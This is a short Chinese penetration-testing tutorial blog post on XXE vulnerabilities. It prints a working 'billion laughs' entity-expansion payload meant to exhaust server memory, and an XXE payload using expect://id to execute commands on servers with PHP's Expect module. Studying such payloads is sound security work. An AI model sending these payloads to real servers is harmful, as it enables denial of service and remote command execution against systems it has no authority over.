XXE Dos攻击和RCE攻击说明

今天继续给大家介绍渗透测试相关知识，本文主要内容是XXE Dos攻击和RCE攻击说明。

免责声明：
本文所介绍的内容仅做学习交流使用，严禁利用文中技术进行非法行为，否则造成一切严重后果自负！
再次强调：严禁对未授权设备进行渗透测试！

一、XXE Dos攻击方法

利用XXE漏洞，可以进行Dos攻击，常见攻击EXP如下所示：

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

可以看出，这种EXP，其核心逻辑是通过不断的迭代，从而增大lol9变量的空间。最终可以使得lol9变量大小超过3个G，最终可以撑爆一些小型服务器的内存，从而使得服务器宕机。

二、XXE RCE攻击说明

除了上述Dos攻击外，XXE漏洞还可以进行RCE攻击。
但是，这种攻击对目标站点存在限制，要求目标站点必须安装了PHP的Expect模块。XXE的RCE攻击EXP如下所示：

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

如果目标服务器安装了Expect模块，那么利用上述EXP就可以执行id命令，并且将执行结果输出到赋予xxe变量，进而显示到页面上。
原创不易，转载请说明出处：https://blog.csdn.net/weixin_40228200